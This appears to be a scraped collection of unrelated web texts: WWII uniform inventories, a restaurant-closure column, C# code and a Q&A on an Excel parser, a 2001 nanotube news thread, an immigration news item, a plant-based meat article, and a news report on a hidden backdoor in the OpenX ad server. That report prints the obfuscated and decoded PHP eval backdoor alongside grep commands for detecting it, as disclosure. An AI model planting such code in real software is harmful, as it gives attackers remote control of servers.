06 – leather webbing- “Koppeltraggestell”
07 – cavalry boots with spurs
08 – M-38 gas mask
09 – anti-mustard gas cloth
10 – trumpet
Private first class (Matrosengefreiter) Kriegsmarine landing units, 1940
01 – M-35 helmet with Kriegsmarine decal
02 – privates’ and NCOs’ jacket, Matrosengefreiter insignia on the sleeve
03 – standard trousers
04 – boots
05 – M-38 gas mask with canister
06 – leather main belt with ammo pouches
07 – M-31 tarpaulin breadbag
08 – mess kit with cup
09 – Mauser 98k rifle
Private, Luftwaffe, France, 1944
01 – M-40 helmet
02 – Einheitsfeldmütze M-43 field cap
03 – M-43 sweatshirt in “Sumpftarnmuster” camo
04 – trousers
05 – webbing
06 – 7,92 mm Mauser 98k rifle with bayonet
07 – M-31 breadbag
08 – M-31 canteen
09 – M-39 boots
10 – dog tag
11 – “Esbit” pocket heater
Panzertruppe lieutnant, 1939
01 – officers’ cap with with pink band of the armored corps (“Waffenfarbe Rosa”)
02 – black officers’ jacket, Prussian Death Hussars’ Totenkopf on the collar tabs.
03 – grey shirt
04 – armored troops’ trousers
05 – officers’ boots
06 – headphones
07 – laryngophone
08 – protective goggles
09 – M-34 leather belt
10 – leather holster for Luger P-08 pistol
11 – leather gloves
12 – standard grey socks
13 – M-31 Meldetasche- map pouch
14 – Zeiss 6×30 binoculars
Luftwaffe Hauptmann (Captain), FW-190-A8 pilot, Jagdgeschwader 300 “Wilde Sau”, Germany, 1944
01 – LKp N101 headphones
02 – Nitsche & Günther Fl. 30550 goggles
03 – Drager model 10-69 oxygen mask
04 – Hankart watch
05 – AK 39Fl. compass
06 – 25 mm Walther Flarepistol M-43 with ammo belt
07 – holster
08 – FW-190 parachute
09 – aviation boots
10 – M-37 Luftwaffe breeches
11 – Luftwaffe leather jacket with Hauptmann’s insignia and Luftwaffe armband
Sergeant major (Feldwebel), Luftwaffe, Africa, 1943
01 – M-41 field cap with Luftwaffe eagle
02 – M-41 Luftwaffe tropical jacket, yellow collar tabs of the flying personnel
03 – linen trousers
04 – main belt with holster for the P-08 pistol
05 – “Afrika” armband of the Luftwaffe’s African theater units
06 – leather gloves
07 – oxygen mask (bomber version)
08 – linen pilots’ cap with earphones
09 – life jacket
10 – leather boots
11 – aviation goggles
12 – Kappmesser M-37 knife
13 – “Hankart” watch
14 – compass
15 – map
16 – Deutsches Kreuz in Gold- Golden German Cross, established 1941
17 – Iron Cross 1st Class
18 – Luftwaffe pilot badge
19 – bomber crew badge
20 – pilot’s military ID
Unteroffizier (corporal), Wehrmacht Propagandakompanie, 1943
01 – M-42 helmet
02 – M-43 summer jacket
03 – shoulder straps with Unteroffizier’s insignia
and bright yellow colors of the signal troops
(used by the PK until 1943, later changet to grey)
04 – trousers
05 – Leica camera
06 – infantry assault badge
07 – “Propagandakompanie” armband
08 – belt
09 – holster for Luger P-08 pistol
10 – map pouch
11 – woollen socks
12 – leather boots
Schtzupolizei hauptwachtmeister (Master sergeant), 1943.
01 – M-40 steel helmet
02 – Bergemutze M-43 field cap with green markings (“Waffenfarbe Hellgrun”) of the mountain units
03 – M-40 police jacket, Schutzpolizei emblem on the sleeve
04 – mountain troops’ ski trousers
05 – leather belt
06 – hoster for P-08 pistol
07 – 9 mm P-08 pistol
08 – payment book
09 – dog tag
10 – Meldetasche map pouch
11 – M-39 grenade
12 – leggins
13 – mountain boots
14 – 9 mm ammo pack
01 – M-35 field jacket with Unteroffizier’s insignia
02 – M-35 steel helmet with Heeres markings
03 – Zeltbahn M-31 tent cloth in “Splittermuster” camo
04 – Grey (“Steingrau”) trousers
05 – Leather belt
06 – Anti-mustard gas cloth
07 – M-38 gas mask
08 – M-24 grenade
09 – Black leather ammo pouches
10 – M-31 aluminium canteen
11 – Boots
12 – 7,92 mm Mauser 98k rifle
13 – Seitengewehr 84/98 bayonet
14 – Wire cutting shears
Afrika Korps private, 1941
01 – M-35 steel helmet in desert camo
02 – M-40 olive jacket with white markings (infantry)
03 – M-40 breeches
04 – M-40 shorts
05 – main belt and webbing
06 – brown leather ammo pouches
07 – Tropenhelm cork helmet with Heeres insignia
08 – M-24 grenade
09 – 7,92 mm ammo pack
10 – 7,92 mm Mauser 98k rifle
11 – Seitengewehr 84/98 bayonet
12 – breadbag
13 – brown bakelite canteen (“coconut”)
14 – M-31 mess kit
15 – M-31 tent cloth
16 – tropical boots
17 – RAF aircraft recognition book
USMC private, Pacific, 1944
01 – M1 helmet with cover
02 – sweatshirt and trousers
03 – dog tags
04 – main belt with two canteens, personal dressing, ammo pouches and compass
05 – M41 backpack with blanket
06 – USMC leggins
07 – US Navy boots
08 – Mk II frag grenade
09 – 7,62 mm (.30) M1 carbine
10 – Collins knife-machette
Corporal, US Military Police, 1945
01 – M1 helmet, ebonite
02 – woollen shirt
03 – M38 jacket
04 – white MP cord
05 – whistle
06 – armband
07 – belt
08 – gloves
09 – Colt M1911A1 pistol
10 – trousers
11 – “Baush and Lomb” sunglasses
12 – MP forage cap
13 – wooden baton
14 – “Victory” matches
15 – white leggins
16 – boots
H/T WarHistoryOnline
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Table Hopping column: Horn’s Tavern owners reflect on closing
Brendan Horn holds his 4-month-old daughter, Makenna, during a break from cleaning out the closed restaurant last week.
For Sunday’s Table Hopping column, I chatted with Brendan and Glenda Horn, who, for financial reasons, last weekend closed their Brunswick restaurant, Horn’s Tavern, after less than 15 months in business. Short version:
Although the scenario fits the definition of a failure, the Horns remain upbeat.
“We built a reputation we could be proud of,” says Glenda. “There wasn’t a problem with the food. There wasn’t a problem with the service. People loved it. The mistake was the location.”
Brendan, who turned out tasty pasta, risotto and burgers while Glenda provided a winning front-of-house presence, says, “I learned a lot. We can say we opened our own restaurant.” And he did it when he was 25 years old. (He turns 27 in September.)
Stopped in by accident in late May and was impressed by the staff (owners?) and food was decent and well prepared. We tried to go back on Father’s Day, but the place was closed. Puzzled by that, but now I see the problem. Good luck with future plans.
As residents of Pittstown, we ate @ Horn’s Tavern too many times to count. We were so excited that a quality restaurant had opened just a short drive from our house. Chef Horn’s cream sauces were perfection — not too rich & applied w/a deft hand. My favorite dish was the scallops w/risotto; Bruce’s was the pecan-encrusted pork. Both dishes were always perfectly prepared & beautifully presented. Chef Horn also roasted a mean chicken — so moist & flavorful. His bruschetta was spectacular, not to mention the creme brulee bread pudding. And Glenda was always a superb hostess/waitress. We miss you already Brendan & Glenda! We’ll keep our ears out re your new location — hurry, we can hardly wait!
Best of luck to the Horn’s on their future endeavors. I live in the Brunswick area and while it is remote (thankfully), it seems to be a fine location for the Brunswick Barbeque & Brew up the street. Maybe the limiting factor at Horn’s Tavern is the building, it’s layout and the fine dining approach. It sure would be nice to see a feature article on a local restaurant when it opens instead of when it closes. I don’t recall any such article when Brunswick BBQ opened it’s doors. Luckily there hasn’t been a need for an article on it’s demise.
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using System.Collections.Generic;
using System.Collections.ObjectModel;
using System.ComponentModel;
using System.ComponentModel.DataAnnotations;
using System.ComponentModel.DataAnnotations.Schema;
namespace Vulnerator.Model.Entity
{
public class Waiver : INotifyPropertyChanged
{
public event PropertyChangedEventHandler PropertyChanged;
[System.Diagnostics.CodeAnalysis.SuppressMessage("Microsoft.Usage", "CA2214:DoNotCallOverridableMethodsInConstructors")]
public Waiver()
{
Groups = new ObservableCollection<Group>(); }
[Key]
[DatabaseGenerated(DatabaseGeneratedOption.None)]
public long Waiver_ID { get; set; }
[Required]
[StringLength(100)]
public string WaiverName { get; set; }
[System.Diagnostics.CodeAnalysis.SuppressMessage("Microsoft.Usage", "CA2227:CollectionPropertiesShouldBeReadOnly")]
public virtual ICollection<Group> Groups { get; set; }
}
}
|
IBM makes nano circuit
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using carbon nanotubes, ibm researchers have built the smallest computer logic circuit ever created: a two-transistor “not gate” the size of a single carbon molecule. ibm's phaedon avouris, manager of nanoscale science at ibm research, made the announcement yesterday at an american chemical society meeting, touting the achievement as the next big step in the replacement of today's silicon-based computer chips and the preservation of moore's law.
the nano-circuit not gate (voltage inverter circuit) has a positive transistor and a negative transistor and can change a 1 to a 0 (binary) and vice versa. this is the simplest of the three necessary computing circuits (and gates and or gates are the next steps), but is a big breakthrough because past work with carbon nanotubes has yielded only positive (“p-type”) transistors. by heating p-type transistors in a vacuum, the ibm researchers created negative (“n-type”) transistors for the first time; the team also found that selected portions of a carbon nanotube could be heated and converted to n-type, which allowed them to create the single carbon molecule not gate. the nanotube circuit also produced a strong enough signal output “to drive other gates or circuits,” meaning that complex circuits in chains should be possible. that in turn means that molecular computer chips consisting of “many transistor-embedded logic circuits” can be a viable alternative to today's microprocessors. carbon nanotube-based chips are expected to be at least as fast as today's silicon-based ones, and should produce less heat (since they'll use less power).
ibm hopes to start building carbon nanotube circuits in the next two years or so, but doesn't expect any product to be marketable for another 10 to 15 years.
sam's opinion
i don't know about you, but i get pretty excited when i read about these nano-computing discoveries. as the a.p. article points out, there are plenty of other teams researching nano-computing and coming up with breakthroughs, and that's even more exciting, since there won't be a single company controlling the pace of progress. at the same time we've also got lots of folks looking into quantum computing, though i have a feeling that's a bit further down the timeline from realization (though you never know). even knowing that nanotube-based molecular chips are probably 15 years away (though i won't be surprised to see them sooner) isn't enough to make these findings less exciting: imagine building a micrprocessor out of something 100k times smaller than one of your hairs but that's 10 times stronger than steel. incredible.
another thing that struck me when i was reading the articles was that moore's law is still intact after 35 years or so. scientists have been predicting an end to moore's law in the next 10 or 15 years because of silicon's physical limitations, but i'm just amazed that a prediction made in 1965 is still holding water. the pace and scope of technological change has been mind-boggling in the last 10 years alone … just think of how big computers were back in 1965, and now we're talking about a single-molecule circuit. who could've guessed gordon moore would hit the nail on the head even now when we're looking at 2ghz processors?
i also would like to point out that the guy running ibm research's nano-science section has perhaps the most appropriate-sounding name for this kind of cool research. phaedon? perfect. :)
user comments 47 comment(s)
nice(11:16am est mon aug 27 2001)hey, the researchers have to have something to do with all those ee majors, eh? – by beefstu01
good to see…(11:16am est mon aug 27 2001)that somebody is going to pick up where silicon left off, and give moore's law a bit of breathing room! – by keith soleil
the “elephant in the living room” is that those little nanotubes need to be patterened into unbelievably sophisticated tapestries – in order to “process” anything at all. from what i can tell, no one has ever made a nanotube that actually is positioned “where we wanted it”. like sprinking sugar onto a pie, nanotubes land whereever the hell they feel like it.
the transistor was originally a little block of ge with itsibitsi wires touching the surface. then, they discovered that melting dots of dopant on a thin wafer, it was both more reliable and much higher powered.
then, boffins at texas instruments saw that it could be done on 'one surface' instead of both sides. then they integrated two transistors into a “super transistor”. from there, the first “real” integrated circuit, the rtl nand gate. it had 4 transistors.
but from those earliest beginnings — to now, it has literally been a “straight shot”, of improving photolithographic technique, improving the quality of the silicon wafers, improving the metals and plastics that make up a chip. nothing radical. just ever smaller.
i have no reason to believe that the technology to organize all those pesky nanotubes – would better be used to fabricate 3d chips. today's chip might be 1 cm on a side (or if you prefer, 10,000,000 nanometers) but it is only 100 nanometers “thick”. you could stack a lot of layers into a 1 cm cube. like, 100,000 of them.
a 1 mm “grain of salt” chip would store 1,000 gb.
anyway. nanocomputing is nice, but i predict we'll probably not see practical large-scale uses for it.
– by goatguy
thats nice but(11:41am est mon aug 27 2001)when it comes to computers dont u think we will have molecular computer in 10 to 15 years so who cares, i mean yeah its cool u made it but molecular computers are sapsode to be developed in 3 to 5 years and one is more powerfull then all the supercomputers or some bullshit like that
my 2 cents – by ff
manufacturing(11:47am est mon aug 27 2001)right now, nanotubes are basically made by throwing the carbon into an arc and extracting the good pieces. it's not a very organized manufacturing process, so we are definitely a few years away from seeing these things in printed circuit boards. however, organic polymers are slowly making their way into electronics. i worked with a research group that was examining energy transfer in electro-luminescent polymers. once the problem of longevity is solved, the extremely cheap cost of manufacturing these products will make carbon based electronics much more favorable. – by laserman
then the paranoid side of me starts…(12:32pm est mon aug 27 2001)get a grip: ever read “acts of the apostles”? the basic equation of the story is:
it makes you wonder(1:37pm est mon aug 27 2001)just what is in those flu shots?it seemed that when i was in the army they tried to give us flu shots every month or so, it was crazy! they always got me sick too. so i wonder, was it really a vaccine for the ful, or naonites invading my brain to maek me a killing machine.
crap maeks me wondr even more what the hell is in the antrax vaccine! – by damn government!!
question to ponder(1:44pm est mon aug 27 2001)if this thing is made out of carbon, the basic building block of all living thing, has built in logic that could be viewed as the ability to reason, plus any major advancement in human genome project that might be applied to this, what are we looking at 200 years down the road? or 50 for that matter. and does this carbon have the abilty to grown or could it in the future? just thoughts – by eek the cat
re: eek the cat(1:57pm est mon aug 27 2001)during your lifetime, this carbon will be as close to sentient as a number 2 pencil.
t1000(3:37pm est mon aug 27 2001)“yes, the time has finally come. according to the world famous terminator movies skynet went on-line on monday, august 4th, 1997 and becomes self aware at 2:14 a.m. august 29th, 1997. things take a turn for the worse at that point and soon the missiles are zipping around the planet.”
(check out for more info) – by hungrywolverine
t1000 point(3:55pm est mon aug 27 2001)the interesting thing i was reading off of popular mechanics was the fact that e-bombs (electromagnetic) are comming into play in the “world” arsenals. even though i didn t read the article completely, i wonder how/if something this small could be effected…..
– by id-10-t error
ibm is too cool(6:23pm est mon aug 27 2001)i like how they have changed into a great company. research seem to be king there unlike microsoft where coping is king. – by rax
changed….ibm?(8:06pm est mon aug 27 2001)uhh…ibm has been the research stalwart…the only reason they dropped in the mid/late 80's is because everyone started to clone pcs…now they are back up at the top again..but always number one at ibm has beenresearch…they haven't changed…they are simply reaffirming their position… – by distempered
quit whining!(9:43pm est mon aug 27 2001)quit whiner like a cheap trash yourself. get over with it. go recyle your soda cans make some money then buy it. go education to be as a geek and nerd so you can make a millions dollar. i would take a class to study a mircosoft. i want work there. enough moving around your ass on your couch. get up and get a bigger life. i have no choice but i have career ahead of me to met bill gates. so long cheap trash lazy butt lol! – by lol
faeries and other such tech(1:27am est tue aug 28 2001)i sat in a lecture 11 years ago on circuits built using nanotubules. it's an interesting idea, but clearly progress has been slow. i think it's more likely that nanotubules might find some use as cladding, insulation, or some other passive kind of function. you might want to check out what kind of gain, current and q they're getting out of their n-type fullerine transistors. my guess is that a practical device of any kind is way out of the question. – by papasmurf
moore again…(1:44am est tue aug 28 2001)just touching back to the second comment, in terms of computer power increasing, moore's law was blown out of the water. i belive the actual rate was something along two to three times what moore projected.
as for quantum computing, i agree, probably the next step beyond nano, but to the belife that nano would be eschewed for 3d chips… well, if this were only a question of computing, i would agree, that would be the next logical step before nano. but we are talking nano-tech. development in one area feeds into movment in the others. medicen, computing, enginering, there is an incredible amount of money going into research. many pudits belive that nano-tech, when we get it right, will be the eqivalence of harnessing electricity. nano tech is the future from many points of view, obviously ibm, ray kurswiel, mit, ucla berkely… the list is a long one.
as for practical large scale uses, what pratical use did a house wife in the seventys have for a personal computer? and what pratical uses are there now… the adoption of a set of technoligies lies only partialy in the merits of the technology itself. it's the applications of such that makes or breaks the industry. much is left to be seen, but i have high hopes. – by r-mani
3d chips?(2:38am est tue aug 28 2001)cool, but how do you cool this chip? – by evert
odds and ends…(8:30am est tue aug 28 2001)3d chips: if one layer gets my cpu temp (with decent cooling) to ~40 degrees c, how much heat is 100,000 layers going to produce? and how the *** do you propose to dissapate the heat from the middle? :p
carbon molecues? yeah, a nice-sized diamond ) – by charmaka
the heat is on(1:37pm est tue aug 28 2001)infommercial presenter: “the 3d nano chips will naturatlly consume so little energy, that they will practically cool themselves while working !”
if that doesn't work, they can always put in a few nano fans between the layers.… or generate steam to power the nano fans using a nano steam engine, thus saving even more power ! – by bogglesthemind
carbon molecule(7:28pm est tue aug 28 2001)this is probably the single most non-descriptive non-scientific term i have ever heard. how many damn atoms are in this modelcule? how are they arranged? i had hydrocarbons for breakfast. that's not saying much is it? either they are being top secret or think we're too dumb to ask what a carbon molecule is. – by bugs bunny
some where people started talking about 3d nanochips. one of the things that can be done with molecular level activity is to rely on the quantum mechanics for the activity inside the nanocomputer. at room temperature all the way down to absolute zero molecules are vibrating and transfers of energy take place. so the computer would require no power at all! only if it was frozen all the way down to absolute zero would it stop proceesing information.
there has been lab experiments that have demonstrated the extreme processing speed of molecular circuits operating at around 100 trillion cycles per second. if you use the wired donut approach and 4 cubic nanometers for space, you can have a computer the size of a sugar cube with a trillion of processors and 18.4 quintilion (2^64) of bytes and a proccessing speed of septillions (trillions of trillion s)floating point operations per second!!! – by peter.
carbon molecule(4:18am est thu aug 30 2001)probably means a nanotube, sp2 bonded carbon atoms form a graphite-like 2d sheet which is rolled into a tube then capped at either end with half of a buckyball. that's not the process by the way, that's just how a capped single-walled nanotube looks. the tube could be as long as you like, but isn't yet… – by xamos
uhm…(5:28am est sat sep 01 2001)what the heck is a nano….? i thougth it was a kind of weapon the borg use in voyager. anyways…can nano technology as a whole be used to either move or manipulate carbon atom positions or structures? or can they be used to synthesis certain objects? or can they be used to cure people at nano levels?
i think this nano thing would be pretty festive if it ever came to light, but ibm should be careful. they work so hard on it, someone breaks into the lab and sells the tech. to intel, and then they release 20447ghz cpu's that fit on your thumbnail, and then the take over the world, raping our dogs and cats repeatedly until their heads explode, and we have to wipe green toxic goo of the living room walls….
oh, i'm sorry. i'll take my tablets now. – by raspertril
carbon molecule(2:14am est fri sep 07 2001)various 'real' carbon molecules: c60, c72, c84… these are true molecules as they have a precise structure and are self-contained, ie. they are not an 'infinite' lattice like diamond or graphite. carbon nanotubes can be simply a c60 ball cut in half with a rolled up cylinder of graphite like carbon inserted in between the two halves. this way, an almost infinite variety of true carbon molecules can and do exist. – by another chem geek
opinions are like …(10:58pm est sun sep 09 2001)people who can't learn basic spelling and grammar are endangering their brain cell trying to comprehend quantum computing theories.opinions should be reserved for people who can form complete thoughts, words, and sentences. – by bubba
nano – taliban(10:36pm est thu oct 25 2001)isn't there a way to unleash some nano-bombs (not chemical or biological) on the taliban? kind of like swarms of mosquitos or nats, but with one hell of a bite.
– by pir sayed ahmad gail
nano – taliban(8:27am est thu nov 08 2001)or maybe we can make a nano sas, send them in on nano choppers, and drop them into the talibans ears on nano parachutes. then we could either destroy their brains from within, or completely re-build them so they can make trainers for nike! – by bilgemonkey
electrophysics(6:10pm est wed feb 06 2002)when i read this first i was not really shocked because as u guess all roads in new technologies leads to a new way to small worlds. in addition it is obvious that future will be the world of quantum mechanics and electronics namely electrophysics and the names that we call it for now is nanotecnology , quantum electronics. – by atli
supercomputers(11:58pm est fri mar 01 2002)i would like to askwhether these sc have the power themself to link to all other computer on the basis on computer is and not on internet – by prabhakar
buckyballs(9:40pm est sun jul 07 2002)closed ind tubes now are in a whole different physics class than a true tube. capped tubes, like a glass, now have a resonance interference to deal with, and this could be mistaken for cycles, when in actuality, its just interference resonance. just a thought. – by tubes and glassses
edubucation(2:04am est sun oct 06 2002)what kind of education do i need to go into this field? i'm currently in first year materials engineering (that means i can switch in 2nd year). as far as nanotechnology is concerned, materials engineering only deals with 'synthesis of nanomaterials'. – by tim
chek in going to inside(12:19am est mon jul 14 2003)plz sir help memy face is nowadays is going to short by means of chek chek is is going to inside day by day– by romash |
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The American Civil Liberties Union has filed a class-action lawsuit seeking to stop the government from deporting more than 100 Iraqi nationals who were rounded up in raids last weekend.
The lawsuit filed in federal court in Detroit against US Immigration and Customs Enforcement seeks a temporary stay of any deportations, which the ACLU fears could begin today. The ACLU also requested a hearing about the matter today.
The lawsuit claims it would be illegal to deport the detainees without giving them a chance to prove they could face torture or death if returned to Iraq.
"Not only is it immoral to send people to a country where they are likely to be violently persecuted, it expressly violates United States and international law and treaties," Kary Moss, executive director for the ACLU of Michigan, said in a statement. "We are hoping that the courts will recognize the extreme danger that deportation to Iraq would pose for these individuals. Our immigration policy shouldn't amount to a death sentence for anyone."
The ACLU says most of the 114 Iraqis arrested in last weekend's Detroit-area raids are Chaldean Christians, but that there are also some Shiite Muslims and Christian converts. It says they all fear violent retribution, if deported.
Many of the arrestees have been in the US for decades and were arrested for "minor offenses," according to the ACLU. Most have been fully compliant with their conditions of supervision and have had no further run-ins with the law, it says.
For example, plaintiff Jihan Asker, a 41-year-old Chaldean mother of three who has spent much of her life near Warren since arriving in the US at age 5, was convicted on a misdemeanor fraud charge in 2003 that was dismissed following probation, the lawsuit states. Since then, she has complied fully with her order of supervision and encountered no other legal troubles.
Asker is eligible to seek lawful, permanent US residency under a petition by a daughter who is a US citizen, the ACLU contends.
ICE has said that all of those arrested had criminal convictions, including for murder, rape, assault, burglary, weapons violations and drug trafficking, and were ordered deported by an immigration judge after "full and fair" proceedings. It has declined to release the names of those it detained.
Most are being held at a detention facility in Youngstown, Ohio, though some were taken to facilities in suburban Detroit and southern Michigan.
Besides the 114 arrested in the Detroit area, 85 other Iraqi nationals were arrested elsewhere in the country, according to ICE. As of April 17, there were 1,444 Iraqi nationals with final orders of removal from the US Eight already have been removed to Iraq.
An ICE spokesman said the agency doesn't comment on pending litigation.
Six US representatives from Michigan yesterday wrote to Department of Homeland Security Secretary John Kelly requesting a copy of the government's repatriation agreement with Iraq and for information about any safety measures planned for the arrested Iraqi nationals.
"Until we in Congress can review all aspects of the agreement reached with Iraq, and the referenced safety measures, we urge you to hold off removal of these individuals to Iraq," they wrote.
The Detroit area has one of the largest Chaldean communities in the US Longtime demographer Kurt Metzger said a community survey estimated there were roughly 120,000 Chaldeans in and around Detroit.
(This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) |
If you installed the OpenX ad server in the past nine months, there's a chance hackers have a backdoor that gives them administrative control over your Web server, in many cases including passwords stored in databases, security researchers warned.
The hidden code in the proprietary open-source ad software was discovered by a reader of Heise Online (Microsoft Translator), a well-known German tech news site, and it has since been confirmed by researchers from Sucuri. It has gone undetected since November and allows attackers to execute any PHP code of their choice on sites running a vulnerable OpenX version.
Coca-Cola, Bloomberg, Samsung, CBS Interactive, and eHarmony are just a small sampling of companies the OpenX website lists as customers. The software company, which also sells a proprietary version of the software, has raised more than $75 million in venture capital as of February 2013.
The backdoor is tucked deep inside a directory in the /plugins tree in a JavaScript file called flowplayer-3.1.1.min.js. Mixed in with the JavaScript code is a malicious PHP script that lets attackers use the "eval" function to execute any PHP code. Mingling the PHP code with JavaScript makes it harder to detect the backdoor. Still, it can be found by searching for PHP tags inside .js files or, better yet, running the following administrative command:
find . -name \*.js -exec grep -l '
Another command to see if your OpenX install has the backdoor is:
$ grep -r –include “*.js” ‘
The full location of the backdoor is:
/plugins/deliveryLog/vastServeVideoPlayer/flowplayer/3.1.1/flowplayer-3.1.1.min.js
The file looks like this:
this.each(function(){l=flashembed(this,k,j)} php /*if(e) {jQuery.tools=jQuery.tools||{version: {}};jQuery.tools.version.flashembed='1.0.2'; */$j='ex'./**/'plode'; /* if(this.className ...
After decoding, the backdoor looks like this:
php $j=’explode’; $_=$j(",",’strrev,str_rot13,vastPlayer’); eval ( $_[1]($_[0]( $_POST[$_[2]])) );
Daniel Cid, a researcher at Sucuri, has spent the past several hours combing through his company's intelligence logs and found no sign that any of the thousands of websites it tracked were accessed using the backdoor.
"The backdoor is very well hidden and hard to detect, explaining why it went undetected for so long," he wrote in an e-mail to Ars. "So I assume it was being used for very targeted attacks instead of mass malware distribution."
A representative for OpenX said company officials are aware of the reported backdoor and are declining comment until they have more details. According to Heise, the backdoor code has been removed from the OpenX server and the company's security team has begun work on an official advisory.
Until we get word from OpenX, it's hard to know just how serious this reported backdoor is. Still, the potential for abuse is high. Most content management systems store their passwords in a database, according to Cid. He added, "If the attackers have access to it, they can change passwords or add new users in there giving them full admin access."
Article updated to correct detail about open-source, add detail about proprietary version. |
Q:
Generic Parser Design
I have this function implemented for parsing employee details, similarly i will have to parse for sales, customer etc for that i need to create 2 more functions. The code will be repeated in all the functions only difference being
the return type of the function
instantiating appropriate object
cells to read
is there any way to move the repeating code to a class and configure it so that i an reuse it?
public List<Employee> ParseEmployee(string filePath)
{
Application _excelApp = null;
Workbooks workBooks = null;
Workbook workBook = null;
Sheets wSheets = null;
Worksheet wSheet = null;
Range xlRange = null;
Range xlRowRange = null;
Range xlcolRange = null;
List<Employee> empLst= new List<Employee>();
try
{
_excelApp = new Application();
workBooks = _excelApp.Workbooks;
workBook = workBooks.Open(filePath, Type.Missing, Type.Missing, Type.Missing, Type.Missing,
Type.Missing, Type.Missing, Type.Missing, Type.Missing,
Type.Missing, Type.Missing, Type.Missing, Type.Missing,
Type.Missing, Type.Missing);
wSheets = (Sheets)workBook.Sheets;
wSheet = (Worksheet)wSheets.get_Item(1);
xlRange = wSheet.UsedRange;
xlRowRange = xlRange.Rows;
xlcolRange = xlRange.Columns;
int rowCount = xlRowRange.Count;
int colCount = xlcolRange.Count;
for (int i = 2; i <= rowCount; i++)
{
Range cell1 = xlRange.Cells[i, 1] as Range;
Range cell2 = xlRange.Cells[i, 2] as Range;
Range cell3 = xlRange.Cells[i, 3] as Range;
object val1 = cell1.Value2;
object val2 = cell2.Value2;
object val3 = cell3.Value2;
Employee emp = new Employee();
emp.FirstName = val1.ToString();
emp.LastName = val2.ToString();
emp.EmpID = val3.ToString();
empLst.Add(emp);
Marshal.ReleaseComObject(cell1);
Marshal.ReleaseComObject(cell2);
Marshal.ReleaseComObject(cell3);
}
}
catch (Exception exp)
{
}
finally
{
GC.Collect();
GC.WaitForPendingFinalizers();
workBook.Close(false, Type.Missing, Type.Missing);
_excelApp.Quit();
Marshal.ReleaseComObject(xlRowRange);
Marshal.ReleaseComObject(xlRange);
Marshal.ReleaseComObject(xlcolRange);
Marshal.ReleaseComObject(wSheet);
Marshal.ReleaseComObject(wSheets);
Marshal.ReleaseComObject(workBook);
Marshal.ReleaseComObject(workBooks);
Marshal.ReleaseComObject(_excelApp);
}
return empLst;
}
A:
I have re-factored my code to something like this
class ExcelParser : IDisposable
{
bool disposed = false;
Application _excelApp = null;
Workbooks workBooks = null;
Workbook workBook = null;
Sheets wSheets = null;
Worksheet wSheet = null;
Range xlRange = null;
Range xlRowRange = null;
Range xlcolRange = null;
public bool Load(string filePath)
{
bool bFlag = true;
try
{
_excelApp = new Application();
workBooks = _excelApp.Workbooks;
workBook = workBooks.Open(filePath, Type.Missing, Type.Missing, Type.Missing, Type.Missing,
Type.Missing, Type.Missing, Type.Missing, Type.Missing,
Type.Missing, Type.Missing, Type.Missing, Type.Missing,
Type.Missing, Type.Missing);
wSheets = (Sheets)workBook.Sheets;
wSheet = (Worksheet)wSheets.get_Item(1);
xlRange = wSheet.UsedRange;
xlRowRange = xlRange.Rows;
xlcolRange = xlRange.Columns;
}
catch (Exception exp)
{
throw;
}
return bFlag;
}
public int GetRowCount()
{
int rowCount = 0;
if(xlRowRange != null)
rowCount = xlRowRange.Count;
return rowCount;
}
public string GetValue(int rowIndex, int colIndex)
{
string value = "";
Range cell = null;
try
{
cell = xlRange.Cells[rowIndex, colIndex] as Range;
object val = cell.Value2;
value = val.ToString();
}
catch (Exception exp)
{
}
finally
{
Marshal.ReleaseComObject(cell);
}
return value;
}
protected virtual void Dispose(bool disposing)
{
if (!this.disposed)
{ // don't dispose more than once
if (disposing)
{
// disposing==true means you're not in the finalizer, so
// you can reference other objects here
GC.Collect();
GC.WaitForPendingFinalizers();
if (workBook != null)
workBook.Close(false, Type.Missing, Type.Missing);
if (_excelApp != null)
_excelApp.Quit();
if (xlRowRange != null)
Marshal.ReleaseComObject(xlRowRange);
if (xlRange != null)
Marshal.ReleaseComObject(xlRange);
if (xlcolRange != null)
Marshal.ReleaseComObject(xlcolRange);
if (wSheet != null)
Marshal.ReleaseComObject(wSheet);
if (wSheets != null)
Marshal.ReleaseComObject(wSheets);
if (workBook != null)
Marshal.ReleaseComObject(workBook);
if (workBooks != null)
Marshal.ReleaseComObject(workBooks);
if (_excelApp != null)
Marshal.ReleaseComObject(_excelApp);
}
}
this.disposed = true;
}
public void Dispose()
{
Dispose(true);
GC.SuppressFinalize(this);
}
~ExcelParser()
{
Dispose(false);
}
}
and the calling code looks like this
public List<Employee> Handle(string filePath)
{
List<Employee> empLst = new List<Employee>();
ExcelParser exlParser = new ExcelParser();
try
{
if (exlParser.Load(filePath))
{
int rowCount = exlParser.GetRowCount();
for (int i = 2; i <= rowCount; i++)
{
Employee emp = new Employee();
emp.FirstName = exlParser.GetValue(i, 1);
emp.LastName = exlParser.GetValue(i, 2);
emp.EmpID = exlParser.GetValue(i, 3);
empLst.Add(emp);
}
}
}
catch (Exception exp)
{
}
finally
{
exlParser.Dispose();
}
return empLst;
}
so now i can reuse the parser in whatever places i wish to use. please comment whether this is correct
|
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Restaurant menus in India have a ubiquitous red dot next to dishes containing meat, fish and egg, and a green dot against vegetarian food. To Abhishek Sinha, the red dot is the bad dot, given the harm meat causes animals and its impact on our environment and health. The green dot is the good one. That’s the logic behind the name of the startup he cofounded in 2016 — GoodDot Enterprises.Udaipur-based GoodDot is betting on an idea popularised by US companies, particularly Beyond Meat and Impossible Foods. The two California-based companies have tried to make alternatives to meat from proteins extracted from plants such as pea, wheat and potato. The flagship product for both companies is the burger patty (a substitute for beef ). Beyond Meat also sells plant-based pork sausages, chicken strips and beef crumble.While there is a debate raging on whether these products that try to approximate the flavour and texture of meat can even be called meat, the market potential is beyond doubt.Sales of plant-based meat in the year to August 11 totalled $684 million, or around Rs 4,950 crore, according to market research firm Nielsen. There are also companies creating meat in labs from animal cells, but these are in nascent stages. GoodDot wants to make the most of this potential in India.It uses pea protein, wheat gluten, soy protein and soy flour, among other ingredients, to make its food taste like meat. Unlike the US firms, GoodDot is not aiming to replace beef, which is not the meat of choice in India.According to Euromonitor International, in 2017, chicken accounted for half of India’s meat market, by volume. Beef and buffalo meat accounted for a fourth, and mutton and lamb less than a fifth. Sinha says one of GoodDot’s four products, called Vegetarian Meat and sold in chunks, could be a replacement for mutton or chicken, depending on whether it is cooked in a curry or as kebabs. “You need to provide credible alternatives to meateaters — tasty and with nutrients,” says the 37-year-old, a chemical engineer who joined the Indian Revenue Service and was a deputy commissioner of income tax before starting this venture.After tasting their products, this writer found that while they approximate the look and texture of mutton, they tend to have a soy-like sponginess while 